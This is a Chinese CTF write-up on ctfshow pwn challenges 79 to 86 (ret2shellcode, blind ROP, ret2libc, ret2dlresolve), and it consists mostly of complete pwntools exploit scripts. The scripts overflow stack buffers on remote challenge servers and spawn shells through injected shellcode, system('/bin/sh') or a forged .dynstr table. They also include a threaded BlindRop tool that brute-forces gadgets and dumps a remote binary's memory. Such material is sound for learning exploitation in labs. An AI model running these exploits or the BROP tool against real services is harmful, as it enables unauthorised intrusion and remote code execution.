p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000400488) # syscall
io.sendline(p)
io.interactive()

79–ret2shellcode(32位)

查保护都没开,想到直接注入shellcode

image-20251208163405577

image-20251208164445508

可以输入2048字节,然后复制到buf中,存在栈溢出,没给后门可以直接泄露puts函数打ret2libc

image-20251208164452645

也可以打ret2shellcode

要找到注入shellcode之后的位置

调试在ctfshow函数中的leave下断点,断在ret之前

image-20251208165115645

运行之后输入4个a看寄存器状态

输入的数据存在eax中

image-20251208165236771

1
ROPgadget --binary './pwn' --only "call"

注意这里要直接payload拼接,在shllcode后面填充数据,使用ljust补全打不通

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from base64 import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')

# p = process('/home/sirius/桌面/winDesktop/Share/download/pwn (18)')
p = remote('pwn.challenge.ctf.show',28242)
elf = ELF('/home/sirius/桌面/winDesktop/Share/download/pwn (39)')
#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda x:p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))
if args.G:
gdb.attach(p)
#-------------------------------------------------
eax = 0x080484a0
shell = asm(shellcraft.sh())
pay = shell + b'a'*(0x208+4-len(shell)) + p32(eax)
sl(pay)
inter()

80–BROP(无文件盲打ROP)

参考

ctfshow-pwn入门-pwn80小记 - MaiCai - 博客园

1.找到堆栈长度

从长度1开始爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *

def connection():
io = remote('pwn.challenge.ctf.show',28137)
# io.recvuntil('Do you know who is daniu?\n')
return io

def get_buf_length():
times = 1
while 1:
try:
io = connection()
payload = 'a' * times
io.send(payload)
data = io.recv()
print(data)
io.close()
if b'No passwd,See you!' not in data:
return times - 1
else:
times += 1
except EOFError:
time += 1

times = get_buf_length()
print(times)

2.找到程序的Stop_Gadget

Stop_Gadget可以看作是程序的复活点,通常就是main函数或者是start的地址,将这个地址覆盖返回地址就能实现程序的循环

由于刚开始并不知道程序的内存哪里是安全的main函数入口,那暂时就从0x400000为起点开始一个字节一个字节的尝试

如果addr指向的是一个垃圾代码或者是非法的内存地址那么程序就会崩溃(Crash)

如果addr指向的是函数的入口,那么程序将会重新运行正常发生回显

这里加上timeout=0.1让接收有0.1s的等待时间,如果在0.1s之内没回显了,那么说明程序进入了一个卡死状态

这里还用到了startswitch,是因为还有种可能就是在主函数入口地址前面可能遇到了一个地址恰巧也能滑入主函数,导致爆破出来的地址不精准,会从一些非法语法开始影响后面布置,所以这里不用in来检验,如果正常回显的前面有些垃圾数据,in还是会让他通过

1
string.startswith(prefix)#判断字符串是否以指定的prefix开头,如果是返回True,如果不是则返回False
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def get_stop_gadget(times):
address = 0x400000
while 1:
try:
io = connection()
payload = b'a' * times + p64(address)
io.send(payload)
data = io.recv(timeout = 0.1)
print(data)
print(hex(address))
io.close()
if data.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?'):
return address
else:
address+=1
except EOFError:
address += 1

3.找到csu_gadget

想要布置payload还要找到rdi寄存器

在64位程序中,我们需要通过寄存去传参,rdi寄存器比较难找,但是如果得到了cus_gadget就能通过计算rdi相对偏移量找到rdi

偏移量为0x9(gadget+9)也就是pop rdi;ret

选择去找cus_gadget是因为他也有很明显的特征,他会连续执行6次pop操作时候再ret

在他的结尾汇编代码是:

1
2
3
4
5
6
7
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

我们在栈上故意填写6个0让这6个pop消耗掉后面紧接着是stop_gadget,那么程序就又会复活

如果探针(待测地址)没有6个pop而是一个简短的pop比如pop ebp;ret那么0会覆盖返回ret从而crash

**注意:**这个方式也会一并的将stop_gadget给筛选出来

所以要筛选两次,第二次是从stop_gadget和cus_gadget中筛选出cus_gadget

在第七个位置也填充成0,如果是stop_gadget那么这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def get_csu_gadget(times,stop):
add = 0x400000
while 1:
try:
io = connection()
payload = b'a' * times + p64(add) + p64(0) * 6 + p64(stop) + p64(0)
io.send(payload)
data = io.recv(timeout = 0.1)
print(data)
print(hex(add))
io.close()
if b'Welcome to CTFshow-PWN ! Do you know who is daniu?' in data:
io = connection()
payload = b'a' * times + p64(add) + p64(0) * 6 + p64(0) #测试这个add是否为cus的gadget
io.send(payload)
data = io.recv(timeout = 0.1)
if b'Do you know who is daniu?' in data:
add += 1
else:
return add
else:
add += 1
except:
add += 1

4.找到puts_plt

上一步已经找到pop rdi的地址,接下来思路是寻找到puts_plt地址,用puts_plt泄露puts函数地址,计算得到libc版本,后续打ret2libc

由于这个程序没开PIE保护(因为前面地址都能正常爆出来且不随机),elf文件的头部是0x400000,内容为\x7fELF

知道了这个前提,我们可以调用puts_plt输出这串内容,接收从而判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_puts(times,stop,gadget):
add = 0x400000
pop_rdi = gadget + 9
while 1:
io = connection()
print(hex(add))
payload = b'a' * times + p64(pop_rdi) + p64(0x400000) + p64(add) + p64(stop)
try:
io.send(payload)
data = io.recv(timeout = 0.1)
print(data)
io.close()
if data.startswith(b'\x7fELF'):
return add
else:
add += 1
except:
print('wrong\nwrong\n')
add += 1

5.Dump函数

得到puts_plt之后,利用他将服务器内存上的二进制程序代码给Dump回到本地,

从开头开始,长度用0x1000个字节,足够把GOT表打出来了,目的就是泄露puts_got

**注意:**puts函数有个特点,他会在输出完内容之后自动多输出一个换行符\n,而puts遇到\x00就会停止

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
data = io.recvuntil("Welcome to CTFshow-PWN", timeout=0.1, drop=True) 

if data == b'\n':
# 情况 1:遇到 Null Byte
# 如果 puts 读到的第一个字节就是 \x00,它会停止读取并只输出一个 \n。
# 所以如果我们只收到了 \n,说明内存里那个位置是 \x00。
data = b'\x00'

elif data.endswith(b'\n'):
# 情况 2:正常读取
# puts 输出的内容末尾带了一个 \n,这是 puts 自己加的,不是内存里的。
# 所以要把最后这个 \n 去掉 (data[:-1])。
data = data[:-1]

else:
# 情况 3:异常/错位
# 既然用了 puts,理论上一定会有 \n。如果没收到,可能是数据没收全或其他问题。
add += 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def leak(times,stop,gadget,puts_plt):
end = 0x401000
add = 0x400000
with open('pwn', 'wb') as file:
while add < end :
io = connection()
payload = b'a' * times + p64(gadget + 9) + p64(add) +p64(puts_plt) + p64(stop)
io.send(payload)
data = io.recvuntil("Welcome to CTFshow-PWN", timeout=0.1, drop=True)
io.close()
print(hex(add))
print(data)
if data == b'\n':
data = b'\x00'
elif data.endswith(b'\n'):
data = data[:-1]
else:
add += 1
print(data)
file.write(data)
add += len(data)

泄露出的数据写入pwn这个文件,然后拿ida打开

image-20251211161154002

这样可以修改程序基地址

image-20251211161247273

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
from pwn import *
from LibcSearcher import *

def connection():
io = remote('pwn.challenge.ctf.show',28105)
io.recvuntil('Do you know who is daniu?\n')
return io

def try_onegadget(times):
io = connection()
addr = 0x10a2fc
payload = b'a' * times + p64(addr)
io.sendline(payload)
io.interactive()

def get_buf_length():
times = 1
while 1:
try:
io = connection()
payload = 'a' * times
io.send(payload)
data = io.recv()
print(data)
io.close()
if b'No passwd,See you!' not in data:
return times - 1
else:
times += 1
except EOFError:
time += 1

def get_stop_gadget(times):
address = 0x400000
while 1:
try:
io = connection()
payload = b'a' * times + p64(address)
io.send(payload)
data = io.recv(timeout = 0.1)
print(data)
print(hex(address))
io.close()
if data.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?'):
return address
else:
address+=1
except EOFError:
address += 1

def get_csu_gadget(times,stop):
add = 0x400000
while 1:
try:
io = connection()
payload = b'a' * times + p64(add) + p64(0) * 6 + p64(stop) + p64(0)
io.send(payload)
data = io.recv(timeout = 0.1)
print(data)
print(hex(add))
io.close()
if b'Welcome to CTFshow-PWN ! Do you know who is daniu?' in data:
io = connection()
payload = b'a' * times + p64(add) + p64(0) * 6 + p64(0)
io.send(payload)
data = io.recv(timeout = 0.1)
if b'Do you know who is daniu?' in data:
add += 1
else:
return add
else:
add += 1
except:
add += 1

def get_puts(times,stop,gadget):
add = 0x400000
pop_rdi = gadget + 9
while 1:
io = connection()
print(hex(add))
payload = b'a' * times + p64(pop_rdi) + p64(0x400000) + p64(add) + p64(stop)
try:
io.send(payload)
data = io.recv(timeout = 0.1)
print(data)
io.close()
if data.startswith(b'\x7fELF'):
return add
else:
add += 1
except:
print('wrong\nwrong\n')
add += 1

def leak(times,stop,gadget,puts_plt):
end = 0x401000
add = 0x400000
with open('pwn', 'wb') as file:
while add < end :
io = connection()
payload = b'a' * times + p64(gadget + 9) + p64(add) +p64(puts_plt) + p64(stop)
io.send(payload)
data = io.recvuntil("Welcome to CTFshow-PWN", timeout=0.1, drop=True)
io.close()
print(hex(add))
print(data)
if data == b'\n':
data = b'\x00'
elif data.endswith(b'\n'):
data = data[:-1]
else:
add += 1
print(data)
file.write(data)
add += len(data)

def attack(times,gadget,stop,puts_plt,puts_got):
poprdi = gadget + 9
io = connection()
payload = b'a' * times + p64(poprdi) + p64(puts_got) + p64(puts_plt) + p64(stop)
io.sendline(payload)
real_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('puts',real_addr)
libc_base = real_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = b'a' * times + p64(poprdi) + p64(bin_sh) + p64(system_addr) +p64(stop)
io.sendline(payload)
io.interactive()

times = 72
stop_gadget_address = 0x400728
gadget_addr = 0x40083a
puts_pltaddr = 0x400545
puts_gotaddr = 0x602018
#leak(times,stop_gadget_address,gadget_addr,puts_pltaddr)
attack(times,gadget_addr,stop_gadget_address,puts_pltaddr,puts_gotaddr)
#times = get_buf_length()
#address = get_stop_gadget(times)
#address = get_csu_gadget(times,stop_gadget_address)
#address = get_puts(times,stop_gadget_address,gadget_addr)
#print(hex(address))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
# -*- coding: utf-8 -*-
# @Time : 2023/12/15 15:49
# @Author : 君叹
# @File : BlindRop.py

from pwn import *
import threading, os
from time import sleep
from LibcSearcher import *
import sys


class BlindRop(object):
def __init__(self, target, port):
self.target = target
self.port = port
self.buf_length = None
self.stop_addr = None
self.gadget = None
self.pop_rdi = None
self.puts_plt = None
self.puts_got = None

self.base_address = 0x400000 # 默认的 后续加一个测试的方法 询问是否开启PIE这样
self.thread_num = 10 # 线程数

def _dichotomy(self, fun):
num = 1
jici = 0
while fun(num):
jici += 1
num *= 2 # 确定范围
min = num / 2
max = num
c = (max + min) // 2
while min <= max:
mid = (min + max) // 2
if max - min == 1:
log.success(f"共进行了 {jici} 次链接\n栈长度为: {mid}")
return int(min)
if fun(mid): # 返回true,成立,那就是没到位
min = mid
else:
max = mid
log.success(f"进行了 {jici} 次测试链接")
log.success(f"缓冲区空间大小: {mid}")
sleep(1)
return int(mid)

def getbufLength(self):
# 使用二分法快速寻找到 ebp-buf 的值
def is_True(num):
try:
io = remote(self.target, self.port)
io.sendafter("Welcome to CTFshow-PWN ! Do you know who is daniu?\n", 'a' * int(num))
data = io.recv()
io.close()
if not data.startswith(b"No passwd"):
return False
return True
except EOFError:
io.close()
return False
self.buf_length = self._dichotomy(is_True)

return self.buf_length

def _is_True(self, output):
print(output)
if output.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?'):
return True
return False

def _getStopAddr(self, start_address, end_address):
while start_address < end_address and self.stop_addr is None:
log.success(f"正在测试: 0x{start_address:x}")
try:
io = remote(self.target, self.port, timeout=0.5)
payload = b'a' * self.buf_length + p64(start_address)
io.sendafter("Do you know who is daniu?\n", payload)
output = io.recv()
if not self._is_True(output):
io.close()
start_address += self.thread_num
else:
self.stop_addr = start_address
log.success(f'stop address ==> 0x{start_address:x}')
sleep(1)
return start_address
except EOFError:
start_address += self.thread_num
io.close()
except:
pass
return None

def _getputs_plt(self, addr, end_addr=0x401000):
pop_rdi = self.pop_rdi
while addr < end_addr and self.puts_plt is None:
sleep(0.1)
addr += self.thread_num
payload = b'a' * self.buf_length
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(self.stop_addr)
try:
io = remote(self.target, self.port)
io.sendafter("Do you know who is daniu?\n", payload)
if io.recv(timeout=0.2).startswith(b"\x7fELF"):
log.info(f"puts@plt address: 0x{addr:x}")
sleep(1)
io.close()
self.puts_plt = addr
return addr
log.info(f"find puts plt bad: 0x{addr:x}")
io.close()
except EOFError as e:
io.close()
log.info(f"bad: 0x{addr:x}")
except:
logging.info("Can't connect")
addr -= self.thread_num

def getgadgetsAddr(self):
addr = self.stop_addr
while True:
sleep(0.1)
addr += 1
payload = b'a' * self.buf_length
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(self.stop_addr)
try:
io = remote(self.target, self.port)
io.sendafter("Do you know who is daniu?\n", payload)
reponse = io.recv(timeout=0.2)
io.close()
log.info(f"find address: 0x{addr:x}")
if b'Welcome to CTFshow-PWN ! Do you know who is daniu?' in reponse:
payload = b'a' * self.buf_length
payload += p64(addr) + p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
io = remote(self.target, self.port)
io.sendafter("Do you know who is daniu?\n", payload)
reponse = io.recv(timeout=0.2)
io.recv(timeout=0.2)
if b'Welcome to CTFshow-PWN ! Do you know who is daniu?' not in reponse:
io.close()
log.success(f"gadget address: 0x{addr:x}")
sleep(1)
self.gadget = addr
self.pop_rdi = addr + 9
return addr
io.close()
log.info(f"bad1 stop address: 0x{addr:x}")
else:
io.close()
log.info(f"bad2 address: 0x{addr:x}")
except EOFError as e:
io.close()
log.info(f"bad2 address: 0x{addr:x}")

def dump_memory(self, start_addr, end_addr):
pop_rdi = self.gadget + 9
result = b""
with open('pwnfile', 'wb') as f1:
while start_addr < end_addr:
sleep(0.1)
payload = b'a' * self.buf_length
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(self.puts_plt)
payload += p64(self.stop_addr)
try:
io = remote(self.target, self.port)
log.info('send one')
io.sendafter("Do you know who is daniu?\n", payload)
data = io.recvuntil("Welcome to CTFshow-PWN", timeout=0.1, drop=True) # byte 类型
if data == b'\n':
data = b'\x00'
elif data == b'':
io.close()
io = remote(self.target, self.port)
log.info("send two")
io.sendafter("Do you know who is daniu?\n", payload)
data = io.recv(timeout=0.1)
if data.count(b"Welcome") > 1:
data = data.decode().split("\n")[0].encode()
elif data[-1] == 10:
data = data[:-1]
elif data[-1] == 10:
data = data[:-1]
log.info(f"leaking: 0x{start_addr:x} --> {(data or b'').hex()}")
result += data
f1.write(data)
start_addr += len(data)
io.close()
except EOFError as e:
print()
log.info("Can't connect")
except:
log.error("Can't connect")
return result
def _Threadfunc(self, func):
for i in range(0x400000, 0x400000 + self.thread_num):
print(i)
thread = threading.Thread(target=func, args=(i, 0x401000))
thread.start()
thread.join()

def getStopAddr(self):
self._Threadfunc(self._getStopAddr)
def getputs_plt(self):
self._Threadfunc(self._getputs_plt)

def setThreadnum(self, num:int):
self.thread_num = num

def getshell(self):
"""
!!!!!!!!!!!!!!!
get TMD shell
:return: shell
"""
io = remote(self.target, self.port)
payload = b'a' * self.buf_length
payload += p64(self.pop_rdi) + p64(self.puts_got) + p64(self.puts_plt) + p64(self.stop_addr)
io.sendafter("Do you know who is daniu?\n", payload)
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success(f"puts got address ==> 0x{puts:x}")
libc = LibcSearcher('puts', puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = b'a' * self.buf_length + p64(self.pop_rdi) + p64(bin_sh) + p64(system)
io.sendline(payload)
io.interactive()

def main(self):
# 读取文件,存在文件则读取,不存在则创建,当前目录下创建 .<目标地址>_端口号的文件
path = f'./.{self.target}_{self.port}'
with open(path, 'a') as f1:
if self.buf_length is None:
self.getbufLength()
f1.write(f"buf_len: 0x{self.buf_length:x}\n")
if self.stop_addr is None:
self.getStopAddr()
f1.write(f"stop_addr: 0x{self.stop_addr:x}\n")
if self.gadget is None:
self.getgadgetsAddr()
f1.write(f"gadget addr: 0x{self.gadget:x}\n")
if self.pop_rdi is None:
self.pop_rdi = self.gadget + 9
if self.puts_plt is None:
self.getputs_plt()
f1.write(f"puts plt addr: 0x{self.puts_plt:x}\n")
if not os.path.exists('./pwnfile'):
self.dump_memory(0x400000,0x401000)
if self.puts_got is None:
log.info("请输入puts got: ")
self.puts_got = int(input().strip("\n"), 16)

self.getshell()





if __name__ == '__main__':
target = BlindRop(sys.argv[1], sys.argv[2])
target.buf_length = 72
target.stop_addr = 0x400728
target.gadget = 0x40083a
target.pop_rdi = 0x40083a + 9
target.puts_plt = 0x400550
target.main()




81–ret2libc(本地libc)

上来泄露system地址

image-20251213202347682

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from base64 import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

p = process('/home/sirius/CTF/pwn (40)')
# p = remote('pwn.challenge.ctf.show',28144)
elf = ELF('/home/sirius/CTF/pwn (40)')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda :p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))

if args.G:
gdb.attach(p)
#-------------------------------------------------
ru(b"Maybe it's simple,O.o\n")
sys = int(rl(),16)
lg("system",sys)

# libc = LibcSearcher('system',sys)
base = sys - libc.symbols['system']
binsh = base + next(libc.search(b'/bin/sh\x00'))
ret = 0x00000000000006f6
rdi = 0x0000000000000a93
padding = 0x80 +8
pay =flat(
padding * b'a',
ret,
ret,
rdi,
binsh,
sys
)
sl(pay)
inter()

82–Ret2Dlresolve变体NO-RELRO(劫持动态部分)

32位Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from base64 import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

p = process('/home/sirius/CTF/pwn (40)')
# p = remote('pwn.challenge.ctf.show',28144)
elf = ELF('/home/sirius/CTF/pwn (40)')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP('./pwn')

#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda :p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))

if args.G:
gdb.attach(p)
#-------------------------------------------------

padding = 112
# 2. 伪造动态字符串表 (Fake Dynstr)
# 从 ELF 文件中提取原始的 .dynstr 段数据
dynstr =elf.get_section_by_name('.dynstr').data()
# 将字符串表中的 "read" 替换为 "system"
# 注意:这要求替换前后长度一致,且只能替换未被解析过的函数(利用 read 触发解析)
dynstr = dynstr.replace(b'read',b'system')
rop.raw(b'a' * padding)
# 调用 read(0, 0x8049804 + 4, 4)
# 0x8049804 是 .dynamic 段中 DT_STRTAB (字符串表) 标签的地址
# +4 偏移是指向该标签的值字段 (即指向字符串表的指针)
# 目的:稍后我们发送一个新的地址,把系统原本指向真字符串表的指针,改为指向我们伪造的表
rop.read(0,0x8049804 + 4,4)
# 调用 read(0, 0x80498e0, len(dynstr))
# 0x80498e0 是 .bss 段的一个空闲可写地址
# 目的:把我们在步骤 2 中伪造好的、包含 "system" 的字符串表写入到内存这个位置
rop.read(0,0x80498e0,len(dynstr))
# 调用 read(0, 0x80498e0 + 0x100, len("/bin/sh\x00"))
# 0x80498e0 + 0x100 是为了防止和上面的表重叠,留出安全距离
# 目的:把 system 需要的参数 "/bin/sh" 写入内存
rop.read(0,0x80498e0 + 0x100,len("/bin/sh\x00"))
# 0x8048376 是 read@plt 的地址 + 6 字节 (跳过了 jmp ds:off_xxx)
# 目的:
# 1. 强行调用 read 的 PLT 部分,并压入 reloc_arg。
# 2. 触发 _dl_runtime_resolve 进行动态解析。
# 3. 因为我们在第一环修改了 .dynamic 里的指针,解析器会去我们的假表里找字符串。
# 4. 它在原本 read 的索引处读到了 "system",于是解析出 system 的地址并执行。
rop.raw(0x8048376)
#返回地址,随便填
rop.raw(0xdeadbeef)
# system 函数的参数 (即刚才写入 "/bin/sh" 的地址)
# 此时函数调用变成了 system("/bin/sh")
rop.raw(0x80498e0 + 0x100)
rop.raw(b'a' * (256-len(rop.chain())))

ru('Welcome to CTFshowPWN!\n')
sd(rop.chain())
sd(p32(0x80498e0))
sd(dynstr)
sd(b'/bin/sh\x00')

inter()

64位Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
#from struct import pack
from LibcSearcher import *

#context.log_level = 'debug'
context.arch = 'amd64'
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
#context(arch = 'i386',os = 'linux',log_level = 'debug')
from pwn import *
context.arch="amd64"
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28273)
elf = ELF("./pwn")
bss_addr = elf.bss()
print(hex(bss_addr))
csu_front_addr = 0x400750
csu_end_addr = 0x40076A
leave_ret =0x40063c
poprbp_ret = 0x400588
def csu(rbx, rbp, r12, r13, r14, r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13d
# rsi = r14
# rdx = r15
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
return payload
io.recvuntil('Welcome to CTFshowPWN!\n')
# stack privot to bss segment, set rsp = new_stack
stack_size = 0x200 # new stack size is 0x200
new_stack = bss_addr+0x100
# modify .dynstr pointer in .dynamic section to a specific location
rop = ROP("./pwn")
offset = 112+8
rop.raw(offset*'a')
rop.raw(csu(0, 1 ,elf.got['read'],0,0x600988+8,8))
rop.raw(0x400607)
rop.raw("a"*(256-len(rop.chain())))
print(rop.dump())
print(len(rop.chain()))
assert(len(rop.chain())<=256)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send(p64(0x600B30+0x100))
# construct a fake dynstr section
rop = ROP("./pwn")
rop.raw(offset*'a')
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read",b"system")
rop.raw(csu(0, 1 ,elf.got['read'],0,0x600B30+0x100,len(dynstr)))
rop.raw(0x400607)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send(dynstr)
# read /bin/sh\x00
rop = ROP("./pwn")
rop.raw(offset*'a')
rop.raw(csu(0, 1
,elf.got['read'],0,0x600B30+0x100+len(dynstr),len("/bin/sh\x00")))
rop.raw(0x400607)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send("/bin/sh\x00")
rop = ROP("./pwn")
rop.raw(offset*'a')
rop.raw(0x0000000000400771) #pop rsi; pop r15; ret;
rop.raw(0)
rop.raw(0)
rop.raw(0x0000000000400773)
rop.raw(0x600B30+0x100+len(dynstr))
rop.raw(0x400516) # the second instruction of read@plt
rop.raw(0xdeadbeef)
rop.raw('a'*(256-len(rop.chain())))
print(rop.dump())
print(len(rop.chain()))
io.send(rop.chain())
io.interactive()


86–SROP

image-20251217142945539

